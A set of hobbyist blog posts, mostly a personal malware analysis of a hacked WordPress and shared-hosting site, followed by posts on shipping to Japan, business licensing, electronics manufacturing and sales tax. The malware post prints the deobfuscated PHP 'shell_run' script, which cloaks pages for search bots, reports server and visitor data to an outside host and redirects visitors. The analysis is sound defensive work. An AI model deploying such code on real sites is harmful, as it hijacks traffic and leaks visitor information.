Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3

Yesterday I described how the BMOW web site had been hacked, and my efforts to clean it up. Today I began looking at some of the hack scripts that were left behind, to try to understand how they work. It’s a fascinating glimpse into the mind of a malware author. The more I dug into it, the more it began to resemble peeling the layers of an onion, or opening a set of Russian nesting dolls.

The hack scripts are written in heavily obfuscated PHP. Some new PHP code was added to the beginning of the existing index.php file, and three new PHP files were also placed on the site. For this analysis, I examined one of the new files, named your.php. Here’s the file in its entirety:

OK, it’s calling eval() on some long string. The first few dozen characters of that string are written using ASCII escape sequences, as well as the last four characters. For example, /x65 means the ASCII character with value 65 (hex), which is a lower case e. Presumably this is done in order to further obfuscate the code’s true nature. If we substitute the ASCII characters for each escape sequence, then the script will look like this:

We want to look at the real program, the piece of text that’s been base64 encoded and gzipped here. So I stripped off the leading eval() calls, since we only want to look at the program’s code, not run it, and changed it to an echo() call instead. Then I ran the modified program in a local PHP interpreter. It revealed that the real program is this:

Haha! If one layer of eval(gzinflate(base64_decode(…))) is good for obfuscation, than two layers must be better right? Apparently the malware author thought so. Let’s apply the same technique again to reveal the hidden code:

Clearly, applying the same obfuscation technique three times is even better, right? At least this time there are two separate eval() blocks. Let’s unstack the Russian dollars once more:

Now we’re starting to get somewhere, maybe. There’s a function definition, for some function named doscdx45431(). Maybe the “dos” is for denial of service? Let’s substitute the characters for the ASCII escape sequences again:

Sigh… this is just a different way of performing another eval(gzinflate(base64_decode(…))), only this time a helper function is used, and the names of the functions are stored in strings. If we repeat the process one more time, to see what’s hidden in that encoded block of text, we finally hit paydirt:

?><?php
set_time_limit(0);
/**
 * @author bs
 * @copyright 2014
 */
class shell_run
{
    public $action  = "shell";
    
    function __construct()
    {
        if($_GET['check'] == 'check')
        {
            echo '0000-00-00';
            exit();
        }
        
        $Spider = $this->isBot();
        $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        
        $ip  = $_SERVER['REMOTE_ADDR'];
        if($Spider == true){
            $bot = 1;
        }else{
            $bot = 0;
        }
        
        $get_array['center_website'] = '3.bulksmspk.net';
        
        
        //ASP风格
        $request_url = explode("?",$_SERVER['REQUEST_URI']);
        if($bot == 1){

            $center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php?
action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id="
.$request_url[1];
            $contents = $this->curlOpen($center_temp_url);
            echo $contents;
        }else{
            $center_temp_url = 'http://'.$get_array['center_website']."/51la.php?
type=asp&ip=".$ip."&shell=".$_SERVER['HTTP_HOST']."&user_agent=".$_SERVER['HTTP_USER_AGENT'];
            $this->curlOpen($center_temp_url);
            $url = 'http://'.$get_array['center_website']."/domain_redirect.php?
type=redirect&dstring=".$_SERVER['HTTP_HOST']."&do_id=".$request_url[1];
            header("Location: ".$url);
        }
        exit;
        //ASP风格
    }
    
    /**
     * isBot()
     * 判断蜘蛛-getSpider
     * @return
     */
    function isBot()
    {
        $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 
'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
        $is_bot = false;
        foreach($bot_array as $bot){
            $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
            if(strstr($agent,$bot)){
                $is_bot = true;
            }
        }
        return $is_bot;
    }
    /**
     * shell_run::curlOpen()
     * 获取本站的内容-getHTTP_HOST
     * @param mixed $url
     * @return
     */
    function curlOpen($url)
    {
        $ch2 = curl_init();
        $user_agent = "ConBot";
        curl_setopt($ch2, CURLOPT_URL, $url); 
        curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211',
'CLIENT-IP:66.249.73.211'));
        curl_setopt($ch2, CURLOPT_HEADER, false); 
        curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']);
        curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent); 
        curl_setopt($ch2, CURLOPT_TIMEOUT,25); 
        $contents = curl_exec($ch2);
        curl_close($ch2);
        return $contents;
    }
}
$content = new shell_run();
?>

I find it funny that this malware code includes a copyright notice. The script begins by calling set_time_limit(0), an attempt to disable any maximum limit on the execution time of the script. It then defines a class called shell_run. Finally, it constructs a new object of the shell_run class, and assigns it to the variable $content. As far as I can tell, $content is never used, but that probably doesn’t matter.

The real work happens in the constructor for shell_run. It attempts to determine whether whoever requested your.php (remember that’s what we’re looking at) is a web crawling bot used for building search indexes, like the Googlebot. Next it splits the request URI at the ‘?’ character, separating the name of the requested file (your.php in this case) from any other request parameters. If the requestor is a bot, the script then fetches:

http://3.bulksmspk.net/domain_get_url_test.php?
action=out_put&script_name=your.php&dstring=[HTTP_HOST]&type=asp&do_id=[PARAMS]

where HTTP_HOST is the name of the web server, and PARAMS are any parameters that were passed by the original requestor. The result of this fetch is then echoed. Does the echoed text get PHP eval’d by one of the enclosing eval() calls, or does it simply get returned to the requestor as the HTML result? I’ve lost track.

If the requestor is not a bot, then the script fetches:

http://3.bulksmspk.net/51la.php?type=asp&ip=[IP]&shell=[HTTP_HOST]&user_agent=[HTTP_USER_AGENT]

where IP is the web server’s IP address, HTTP_HOST is its name, and HTTP_USER_AGENT is the requestor’s user agent string – something like Safari, Chrome, or Firefox. Interestingly, the script doesn’t do anything with the result of the fetch, so the purpose of this call is probably just to log something on the 3.bulksmspk.net server. The script then constructs a new URL:

http://3.bulksmspk.net/domain_redirect.php?type=redirect&dstring=[HTTP_HOST]&do_id=[PARAMS];

and then calls the PHP header() function, which generates an HTML response for the requestor instructing it to redirect to this new URL.

 
Huh?

So at the end of the day, what does all of this stuff do, exactly? I honestly don’t know. The file your.php isn’t likely to be linked by the site’s normal content, so it’s not clear how a web crawling robot would ever encounter it. Nor would a casual visitor to the site ever end up requesting your.php either. The only person likely to ever request this file is the hacker himself. It will log some information about the infected web server to 3.bulksmspk.net, and then redirect the requestor to another page on that site. As far as I can tell, it doesn’t actually do anything bad to the requestor or to the infected web server. Despite the name “shell_run”, it certainly doesn’t look like it’s running anything in a command shell. Maybe logging some information is all that your.php is designed to do, and I’ll have to dig into the other PHP scripts to learn what else this hack involves.

Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3

It’s Monday morning, and the BMOW web site has been hacked. In fact all six of my web sites at my shared hosting service have been hacked. Yuck! I think I’ve cleaned up the mess successfully, but I wasn’t able to determine how the hack originally occurred, so I’m not sure it won’t happen again.

 
Google Site Verification

I discovered the hack this morning, when I received an email notifying me that some email address I’d never heard of had been added as an owner of the Google Search Console account for http://bigmessowires.com/. Google Search Console is a developer tool that enables the owner of a web site to see how Google’s web crawler views it, and learn about potential problems with the site. At first I thought this might be a clever phishing scam – click the link in the email to be directed to a web site with some kind of drive-by download attack – but after closer inspection the email looked legitimate.

I logged in to the Google Search Console (by navigating there directly, instead of the email’s link), and sure enough some.evil.dude@gmail.com (not the real address) had been added as an owner about 4 hours before. That shouldn’t be possible – to add yourself as the owner of a web site, Google Search Console requires you to prove your ownership by placing a specially-named file on the site. In this case, the hacker was required to place a file called google1a74e5bf969ded17.html on the site, with the contents “google-site-verification: googlea174e5bf969ded17.html” Google would then attempt to access the file and check its contents to verify the new owner. So I logged in to my server with ssh and checked the directory contents, and there was no file named google1a74e5bf969ded17.html. But when I pointed my web browser to /google1a74e5bf969ded17.html, the expected contents somehow magically appeared!

How can a request for a non-existent file on the web server return a seemingly valid file with the expected contents? Lots of ways. After doing a bit of experimenting, I discovered that any request for /googleNNNNNNNN.html would return a fake file with the contents “google-site-verification: googleNNNNNNNN.html” Something was procedurally generating valid-looking site verifications for any token ID, enabling anyone who wanted to to add themselves as an owner of my site with Google Search Console.

When you visit http://www.bigmessowires.com, a file on the server named index.php gets executed, and it generates the HTML content that’s ultimately displayed in your web browser. This index.php file is part of WordPress, the software I use to maintain the site. But when I opened index.php in an editor, I discovered that some new and evil-looking PHP code had been inserted at the top, in front of the regular WordPress code:

Welcome to code obfuscation city. I don’t know what all that code does, but I’m betting part of it is to recognize any Google site verification requests, and auto-generate a valid-looking response. And that check for “undermomocontrol” doesn’t look good.

After deleting the evil code at the top of index.php, I was able to remove the hacker’s email from the list of Google Search Console owners. It’s not clear to me why he bothered to add himself as an owner there, since I don’t think there’s anything you can actually change about the site or its search settings through that interface. Maybe he somehow redirected all BMOW search traffic to a site about Gucci handbags? I hope there wasn’t some hidden damage performed through the search console that I overlooked.

Incidentally, while I was poking around the Google Search Console site, I discovered that Google had sent me an email on May 8 about suspected hacking activity on my site. But my email client identified it as junk and sent it to the trash. 🙁

 
Examining the Hack

By checking the modification times on the files in each web directory, I was able to determine which files had been compromised. Here’s another of my web sites, that formerly contained only a static index.html file and a few zip files:

The hacker added new files named your.php, book.php, and clsssica.php. These contained more obfuscated PHP code. He also renamed my former index.html to index.php, and inserted the same evil header code as seen on the BMOW web site. And lastly, he added a .htaccess file, which controls how the Apache web server handles requests:

I’m not an Apache guru, but I think the two RewriteConds and the final RewriteRule are what’s important here. If Apache receives a request where the requested filename is neither a real file nor a real directory on the server, then the request will be remapped to index.php. This enables the evil code to run that auto-generates Google site verification responses.

The pattern of hacking was identical in all six web sites that I checked, all of which are subdirectories owned by my same Linux user account on the shared hosting server. In every case, the three files your.php, book.php, and clsssica.php were added. If index.php already existed, evil code was added to it. If only an index.html previously existed, it was renamed to index.php and the evil code was added. Then the .htaccess file was modified with the new rewrite rules, or the file was created if no .htaccess existed before.

I did some searching to see if these filenames and pattern of hacking are part of any known PHP or WordPress vulnerability, but I found nothing. As far as I can tell, this is a new hack.

 
Cleanup and Prevention

I deleted all the evil files from all the web directories, and removed the evil code from index.php, and the unwanted rewrite rules from .htaccess. Then I removed write permissions from index.php, .htaccess, and the root directory of each web site, to make them more difficult to reinfect. I also changed the admin password for each WordPress installation, and made sure each was upgraded to the latest version of WordPress. And I changed my password for the shared hosting account.

Steps to Take When your PHP Site has been Hacked contained a lot of useful suggestions for finding and cleaning up parts of the infection. Using the methods described there, I recursively checked all the subdirectories on each web site for potentially infected files, including PHP code hidden inside of image uploads and other sneaky things. I didn’t find anything – as far as I can tell, the files I mentioned previously were the only ones modified on each site.

So how did this happen? It appears that the original infection occurred on May 2, which is when your.php, book.php, and clsssica.php appeared on each site. But activity continued for some time after that. Index.php was modified just a couple of days ago. My web host only maintains a single week’s worth of server logs, so I don’t have any way of seeing what happened on May 2.

Did the infection occur through a WordPress vulnerability? Possibly, but only two of the six infected web sites were running WordPress. Given the way the sites are configured on the shared hosting server, though, it might be possible for an evil PHP script running as part of one web site to modify files in my other web sites. All six web sites exist as subdirectories in the home directory of my Linux user account on the server. If a PHP script that was launched due to a request for http://www.bigmessowires.com can do

<?php fopen("../www.stevechamberlin.com/clsssica.php", "w"); ?>

then the infection can easily spread from one site to another. I don’t know if PHP is configured this way by my hosting provider, but I suspect it is. There was a seventh defunct web site in my account, which was also infected. This was a subdirectory that contained all the files for a web site, but there was no hosting provided for that web site, and no way to access it through the web server. The fact that it got infected anyway means that the infection didn’t come from a direct web attack on that site. Hmmm.

It’s also possible that someone guessed my password for the shared hosting account, or sniffed it with a keylogger or some other tool. Or maybe the shared hosting server itself was compromised, through some vector exposed by another customer on that server, or a vulnerability in the server itself as configured by my hosting provider. It seems unlikely that I’ll ever know the true answer.

A good fraction of my product orders come from people in Japan. That’s great – I’m happy that the things I’ve designed appeal to people all over the world. What isn’t great is the way the US Post Office treats Japanese shipping addresses. It turns what should be a simple shipping process into a complicated mess.

When someone makes an order for BMOW items, I receive an email with the order details and the shipping address. For a buyer in Japan, the shipping address often looks something like this:

〒904-2026
沖縄県 宜野湾市
末長1540-1
Japan
森澤 政行

Except for the word “Japan”, I have no idea what that says. This example is a mash-up of pieces from several different Japanese orders, to avoid posting anyone’s real address publicly. If the pieces combine into something non-sensical, that’s my fault.

Ideally, I shouldn’t need to be able to read that address. The US Post Office should be able to take the address, send the package to a central post office in Japan, where the Japanese post office will read the rest of the address lines and forward the package on to its final destination.

Unfortunately it’s not that simple. When purchasing electronic postage from the US Post Office, the address may only contain the 26 Roman alphabet letters A through Z, the 10 digits 0 through 9, and a handful of punctuation marks. No letters with accents (no way José), and certainly no kanji, kana, or other non-Roman characters. So the entire address must be translated to romaji, a way of writing Japanese using the Roman alphabet that looks something like this:

Momochi-hama Sawara-ku
Hijirimaru, Nomuki

I don’t understand exactly how this process works, but I think the Japanese is spelled out phonetically using a standard set of Roman alphabet syllables like “ka”, “no”, and “ma”. I can attempt to convert to romaji myself, by typing the address into Google translate, but that risks a translation error sending an expensive package off to the wrong destination. Or I can email the buyer and request a romaji version of their address – if they speak English and can understand my request. When I’ve tried requesting a romaji address in the past, I only got a reply about half the time.

Eventually through some method, I’ll end up with a complete romaji address that looks something like this:

〒174-0014
Tokyo Nerima
4-6-6-302
Syakujii-machi
Japan
Hattori Ito

The US Post office still won’t accept this. It’s got that 〒 character, which indicates a postal code. That’s not a Roman alphabetic letter, so I have to delete it. Then there’s some text on the last line, after the country name. USPS won’t accept this either, because the country name must appear alone on the last line. In this example I can infer that “Hattori Ito” is the recipient’s name, but sometimes it’s not obvious to me what’s a name and what’s part of the address.

Finally, the individual address lines must be reordered. To purchase electronic postage from the USPS, the address must be formatted line by line, with each line identified as the recipient’s name, street address, city name, postal code, etc. Japanese addresses appear to be formatted “backwards” from the method I’m accustomed to, with the postal code first, then city, then prefecture and/or street address. At least I think that’s right. You can imagine how somebody who knows little of Japanese geography might be uncertain about the meaning of each address line.

Ultimately I end up with a shippable address like:

Hattori Ito
Syakujii-machi
4-6-6-302
Tokyo Nerima
174-0014
Japan

I’ve never yet lost a package shipped to Japan, but I wonder just how mangled and confused this address looks to the Japanese. I also don’t know how widespread the reading of romaji is in Japan. Can most people read that address without trouble? If I imagine a similarly jumbled address shipped to me in the United States, with half the English words spelled out phonetically in the Cyrillic alphabet or something, and all the lines shuffled about seemingly at random, I doubt the package would be delivered:

Калифорния
94002
Хиллман проспект 1930
Красивые горы
Steve Chamberlin
United States

Nobody ever said selling Floppy Emus to the public would be easy, but for an operation that’s barely one step above an eBay garage sale, the amount of legal hoops I’ve had to jump through is ridiculous. How did it get this bad? I’ve had self-employment income in previous years, from consulting projects and ads on my web sites, and I simply listed it on schedule C of my state and federal tax returns. Now Floppy Emu sales have ensnared me in some kind of endless bureaucracy of forms and licensing and taxing. Ugh.

It all started when I found a local company to assemble Floppy Emu boards, because I was tired of hand-assembling them myself. The owner advised me that unless I had a California seller’s permit, he would have to charge me 9% sales tax on the assembled boards. Since this was a fairly large order and 9% was a non-trivial amount of money, I did some research and obtained a seller’s permit for Big Mess o’ Wires. Hooray, unnecessary tax avoided! Unfortunately this meant I was now obligated to collect sales tax from California residents when they buy a Floppy Emu, and file a special sales tax return with the state. Ugh. Maybe that wouldn’t have been too bad, if it had been the end of it.

Unfortunately, getting a California seller’s permit seemed to be the trigger for every other state and local agency to hit me up for something. I received a letter from some company called Muni Services informing me that I lacked a business license for the city where I live. I was invited to apply for a license, but there was no mention of the cost, and the application form was entirely geared towards traditional businesses with an office and a retail storefront. I managed to reach somebody at Muni Services who was entirely unhelpful, telling me I should just leave any non-applicable sections of the form blank. In my case, that was pretty much the whole form, except my name and contact info. I sighed, completed the form, and mailed it in.

Some weeks later I received a cryptic bill for $496, which included the business license fee as well as an unexplained penalty. Oddly, the bill wasn’t even from the city, but from this mysterious Muni Services. I was suspicious of some type of scam, but from everything I could tell the city had legitimately contracted Muni Services to handle their business license compliance. So I sighed again and sent them a check for $496, hoping that would be the end of it.

After another interval of a few weeks, I received a phone call from somebody at the city, saying that I needed to go through the “zoning compliance process”. This requires me being at city hall on a weekday between 2:00 and 3:30 PM. Apparently there was some problem with my business license application, because the address provided is not zoned for businesses. No surprise there, it’s my home address! So I have to find a time to visit city hall in the middle of the afternoon on a weekday, and submit some kind of home-based business affidavit. After which it will hopefully be the end of my troubles, but I’m not optimistic.

This whole process makes sense and would be reasonable if I were opening a grocery store or a tire center. But for a part-time hobby that only earns a few hundred dollars a month, these hassles tip the scales to where it’s questionable whether it’s worth it at all.

So you’ve designed an electronic gizmo, it works nicely, and the public wants to buy it. You’ve built one, or ten, or a hundred by hand until your soldering iron wore out, and now you’re ready to have the gizmo manufactured in a low-volume production run. Where do you go, and how do you get started? This is where I stand today with my Floppy Emu project, and I’ve spent the past few weeks researching the answers.

Step one is identifying and contacting potential manufacturers. This is harder than it looks! Electronics manufacturers generally don’t deal with “the public”, and you can’t just browse listings on amazon.com. Many of them seem to be semi-anonymous, with generic-sounding names like Electronic Systems, Inc. From my experience, the best way to find manufacturing candidates is to ask everyone you know for referrals. Dropping the name of a current client may also help make a manufacturer more willing to work with you.

If you’re an inexperienced one-person team looking for a production run of 50 or 100 units, be aware that most manufacturers won’t talk to you. They won’t even bother to reply when you contact them – you’re just not worth their time. Don’t be offended, just move on.

Somebody Set Up Us the BOM

You can increase your chances of a favorable reply by being informed and organized when talking with the manufacturer. Have your Eagle/KiCad files and Gerbers ready to provide if requested. Make sure every part in your design is clearly identified with a designator like UC2 or R2, both in the design files and printed on the board itself. And most importantly, provide a detailed bill of materials (BOM) that defines exactly what part goes at UC3, R2, and everywhere else. If there are some footprints on the board that should be left empty, list those too. The more detail, the better.

Poor BOM:

• UC3 – ATMEGA1284P
• R2 – 220 Ohm resistor
• SW1 – push-button switch

Better BOM:

• UC3 – Atmel ATMEGA1284-AU, 44 pin TQFP package, http://www.digikey.com/product-detail/en/ATMEGA1284-AU/ATMEGA1284-AU-ND/2271240
• R2 – Yageo RC0805JR-07220RL 220 Ohm SMT resistor, 0805 package, 1/8 Watt, 20% tolerance, http://www.digikey.com/product-detail/en/RC0805JR-07220RL/311-220ARCT-ND/731230
• SW1 – TE FSM4JSMA 6x6mm 160gf SMD N.O. tactile switch, http://www.digikey.com/product-detail/en/FSM4JSMA/450-1129-ND/525821
• J2 – do not populate, leave empty

This saves the manufacturer a lot of time, eliminates potential confusion, and makes you look like you know what you’re doing.

Choosing a Manufacturer

After you get some manufacturers to reply with a quote, you just choose the cheapest one, right? Unfortunately it’s not that simple, even if cheapest were the only criteria. It’s often difficult to make an apples-to-apples comparison, because not all manufacturers provide the same services, and they don’t always structure quotes in the same way.

Some assemblers are assembly only, and it’s up to you to provide them with the blank PCBs and the parts. Others can handle that for you, either internally or externally. Most assemblers can also program any programmable chips on the board, and perform post-assembly custom testing if you desire. If you specify no custom testing, the default testing varies between assemblers, so be sure to ask. Does it include an electrical test for shorts or open circuits? Is there a visual inspection, and if so what do they check for? For my project I focused on manufacturers providing the full service of PCB manufacture, parts procurement, and assembly. Then I looked at options with and without programming and custom testing.

Order quantities matter a lot, and some manufacturers are optimized for different quantities than others. Your cheapest option for 50 units may not be your cheapest option for 200 units, or 1000.

Many manufacturers are in China, but be sure to investigate local options too. The labor cost will generally be cheaper in China, but the parts will cost about the same, while the lead times will be longer and the shipping costs higher. Especially if this is your first time manufacturing an electronics assembly, it may be worth paying a little extra to use a local manufacturer who can help walk you through the process.

From my experience, price quotes came in one of two general types: a generic NRE fee (non-recoverable engineering) plus rolled-up price per unit, or a more detailed cost breakdown with separate prices for PCB, parts, stencil, labor, etc. Make sure you know roughly how much your BOM parts should cost, so you can estimate the fraction of a rolled-up price per unit that’s assembly vs parts. A couple of examples may help (numbers are fictional):

Example Rolled-Up Price Quote:

NRE for manufacturing setup: $500, in addition to the quotes below
Qty 50, 4 week turn: $48.00 each
Qty 100, 4 week turn: $43.00 each

Quote includes:

- Fabrication of bare PCB with specs: 0.062" thickness

HASL finish (not lead-free) green soldermask
 1 oz copper
 electrical test

- All parts and components per BOM
- Soldering and assembly
- Visual inspection for defects
- Packaged in individual anti-static bags

Quote does not include:

- Power up or test of final assembly
- Shipping cost to customer

Example Broken-Down Price Quote:

50 X PCB Manufacturing: 118.20 USD
 - Quantity: 50
 - Max X-Dimension (cm): 10
 - Max Y-Dimension (cm): 4.5
 - Layers: 2
 - PCB Thickness (mm): 1.6
 - Copper Thickness: 1 oz
 - Surface Finish: HASL (Hot Air Solder Leveling)
 - E-Test Pass: 100%
 - Separated Sub-Boards: no

1 X Stencil Manufacturing: 49.00 USD

50 X BOM Part Sourcing: 1435.23 USD

50 X PCB Assembling, Manual + Stencil, 30 THT pins, 181 SMT pads: 755.49 USD

Depending on the complexity of your board, type of parts used, order quantity, and the manufacturer, I found that assembly costs for small volumes were typically in the range of $5 to $20 per board. If you’re finding prices substantially higher than that, keep looking. And if you’re finding prices substantially lower, let me know where!

Manufacturer Options

I talked with five different manufacturers. This was my experience:

SDM Assembly (Florida) – They were referred to me by someone on a vintage computing forum who had used them in the past. There’s no company website. I emailed the owner some details and questions, but didn’t hear anything back until six days later. He was friendly and polite, but said they were “assembly only” although they would be happy to do the assembly work if I sent them the PCBs and parts. I got the feeling they were a little overwhelmed with too much work. I never got a price quote.

Kalow Technologies (Vermont) – They contacted me, and I think somebody from Kalow reads the BMOW blog. They were friendly and helpful, but after looking at my design in detail they concluded they couldn’t do it economically, and declined to give me a price quote. I think they’re geared towards more full-service work including testing and packaging. They referred me to:

Imperial Electronic Assembly (Connecticut) – They were referred by Kalow. I contacted them, but never received a response.

Smart-Prototyping (China) – They made some of my PCBs, though I have no prior experience with their assembly work. The best part about Smart-Prototyping is that their formulas used to calculate assembly costs are right there on the web site, so you can do the math yourself. The price quotes for assembly without testing were fairly inexpensive. Testing is charged at a $28/hour labor rate. That seemed high to me – I thought a major reason for manufacturing in China was cheaper labor costs, but maybe that is cheaper. I don’t have anything to compare it to. Their price quote included a detailed break-down of all the costs, which I liked. Communication and questions (in English) went fairly smoothly, but the time difference meant every question and answer involved a 24 hour delay.

Microsystems Development Technologies (California) – They were referred by someone I once sold a computer too, who used them for his own retro-computing project. The owner responded quickly, and got me a price quote on a Saturday. Their quote was the rolled-up type, and for quantity 50 the assembly cost was about 75% more expensive than Smart Prototyping. For quantity 100, however, the price was about equal to Smart Prototyping. We exchanged many emails to answer questions and revise small details, and they always responded quickly and clearly.

In the end, I decided to go with Microsystems, even though they weren’t the cheapest option. The cost of assembly is only one part of the total manufacturing cost, which is dominated by the cost of parts. Even with the higher assembly cost, the total cost at Microsystems wasn’t too much higher than Smart-Prototyping. Spending the extra money to have a local manufacturing partner who’s good at answering questions and is close enough to visit in person feels like a smart investment. And I can always switch to a different manufacturer for future orders if I need to, but so far I’m happy with my choice.

Programming and Testing

Is it worthwhile having the manufacturer test your boards after assembling them? The assembler is responsible for delivering finished hardware that passes all the tests you specify, but if you don’t specify any tests, it’s uncertain what you might get. From talking to manufacturers, even with no testing they will still guarantee against egregious assembly errors like missing parts or parts installed backwards. They may also do basic electrical testing, like checking for power-to-ground shorts with a continuity meter.

Without further testing, there’s a risk that some boards will be defective and you’ll end up paying for non-working hardware. Typically this is caused by solder bridges between adjacent pins on a chip, or dry joints where the solder never bonded properly. Less often, problems will pop up due to damaged or defective parts. Without any post-assembly testing, Microsystems Development Technologies estimated 3-5% of boards might have such problems, but Smart-Protoyping estimated 10-20%. I suspect the difference is due to how pessimistic they are, rather than any inherent difference in their assembly processes.

If you’re making a small run of a few hundred units or less, the testing decision depends on cost and the predicted defect rate. If the expected defect rate is low, and you’re OK shipping potentially defective units to customers, then it might be OK to forgo testing entirely. If 3% of units are eventually returned as defective, but testing would have added 10% to the assembly cost, then you still come out ahead (although your reputation may suffer a bit).

If shipping potentially defective units is not OK, then somebody obviously must test them. Doing it yourself seems like a good way to save money, but don’t forget that your time has value too. If you can do the testing yourself in five minutes, or the manufacturer can do it for $1, it becomes a basic calculation of how much your time is worth to you. Don’t forget that money paid to the manufacturer for testing is tax-deductible, but the value of your own time spent testing is not, unless you incorporate your business and pay yourself a salary.

I think many people in this situation shy away from having the manufacturer do testing because they don’t know how to define the testing requirements, rather than because of the testing cost. That’s certainly true in my case. Is the manufacturer going to hook up a Mac Plus and run some test programs on the Floppy Emu hardware? It seems hard to imagine. Even quantifying exactly what to test, and how to test it, and what results to expect can feel so onerous that it may seem easier just to skip it completely.

Most manufacturers can also do firmware flashing for any programmable parts on your board. This can be done via your programming header after assembly is complete, or in some cases the bare chip can be programmed before assembly (I wish I knew how that worked). This might seem like a waste of money when you can very well program the firmware yourself, but again it’s a question of the value of your time. Do you want to spend two hours plugging and unplugging cables to program the firmware for 100 boards? Or do you want to pay someone else $50 to do it? Flashing the firmware can also serve as a cheap and easy method of testing, since some defective boards will fail the firmware update and be sent for a re-check without needing further tests.

Floppy Emu Self-Test

After way too many hours of deliberation, I decided that Floppy Emu’s manufacturer will do firmware programming and testing. This will add about 5% to the cost, and still won’t catch 100% of assembly problems, but I think it’s money well-spent. When considering the firmware programming by itself, I was ambivalent about having them do it or doing it myself. But the big advantage of having the manufacturer do the firmware programming is that I can include a self-test program in the firmware, which checks the majority of the board’s functions in just a few seconds. So I’m paying them a fair price to do firmware programming I’d otherwise have to do myself, and then I get the benefit of some extra testing almost for free.

What is this self-test, you ask? I’ve been busy putting it together over the past few days, and I’m pretty excited about it. Previously there weren’t any self-test or diagnostic routines of any kind – Floppy Emu just powered on and started working (or not), and that was it. But now it takes a few milliseconds to:

• verify the AVR fuse settings
• verify the version number reported by the CPLD matches what’s expected
• exercise all the lines that connect between the AVR and CPLD to check for bridges, shorts, or open circuits
• verify that the SD card initialized correctly

The “exercise all the lines” test required some substantial re-plumbing of the CPLD, and significant changes on the AVR side too, so thorough testing is needed to be sure I didn’t break anything. But once it’s working, it should be a major time-saver.

The self-test routine concludes with a happy face if everything is OK, a sad face plus error message if a test fails, and a question mark if something is missing (no SD card, or CPLD is blank). I can’t assume that whoever’s running the test is fluent in English, so icons seemed like the way to go.

The manufacturer’s full firmware programming and testing procedure will be:

• flash the AVR microcontroller
• insert SD card
• update the CPLD firmware from the SD card
• press RESET button and check for the happy face on the LCD display

I’ve timed this repeatedly, and it takes about 1 minute 20 seconds, including the time needed to plug and unplug all the cables, cards, and the LCD. Directly or indirectly, this procedure will test everything except the CPLD-to-Macintosh interface (10 pins), the SELECT button, and the SD card write-protect signal. It’s not a perfect test because the CPLD-to-Mac pins aren’t covered, and occasionally my Mac-based testing uncovers intermittent I/O errors that wouldn’t be detected by this kind of testing anyway. But it should catch the majority of typical assembly errors, while also saving me the time needed for firmware programming, all at a reasonable cost. Check back in about four weeks to see how it turned out!

Today was time for some especially gruesome business-related work. I knew I was overdue for collecting California state sales taxes on Floppy Emu sales, and my recent investigations into having an electronics assembler build the boards brought some new urgency to this issue. Without a California seller’s permit and resale certificate, I would have to pay sales tax on the entire order from the assembler, because they’re also in California. In fact, I’ve already been paying sales tax on all the parts I’ve purchased from Digi-Key and other electronic component vendors. That stinks, because in theory I shouldn’t need to pay sales tax on parts I purchase that are later resold to other people. But avoiding the tax requires having the proper paperwork, and also means collecting sales tax from California residents who buy a Floppy Emu.

After a highly-extensive (ahem) 90 minute Google search, I found that setting up all this sales tax craziness wasn’t nearly as difficult as I’d feared. My new best friends at the California State Board of Equalization were there to help (and to make us all equal, apparently). I was able to apply for a seller’s permit online, and was approved immediately. From there, I can fill out resale certificates with my permit number, and give them to the suppliers from whom I purchase parts. Voila, no more sales tax!

Of course it’s not all flowers and smiley faces… I’m now responsible for regular filing of a California sales and use tax return, form BOE-401. But because I’m a small business with low revenues, I can file the “EZ” version of this return, which is only one page long. Essentially all I need to do is state my gross revenues, and the amount of revenues exempt from sales tax because the buyer is outside California, then multiply the taxable remainder by the state sales tax rate to determine how much I owe the state. What could go wrong? Probably a lot of things, but at least it looks simple on the surface.

The other half of this deal is that I now need to collect sales tax on purchases from California residents. I’ve had surprisingly few of those – Australia has bought far more Floppy Emus than California, for example – but it’s a requirement with the potential to introduce new headaches. Fortunately in this case, PayPal makes it very easy to collect sales tax from the right people. It took less than 60 seconds to reconfigure my ordering page to charge sales tax for buyers with a California shipping address.

You might be wondering how much the California sales tax rate is, and that’s a good question. As it turns out, it’s different depending on where you are in the state! The state itself collects 7.5%, but most counties and cities add a few percent more on top of that. Technically I think I’m supposed to charge a different sales tax rate to different California buyers depending on which county they’re in, but forget it. Where I live, it’s 9%. Hey, this is Silicon Valley, and we like our highways gold-plated and our fire trucks rolling with diamond bling! Or maybe it all just goes to subsidize jet fuel for Google execs, I don’t know.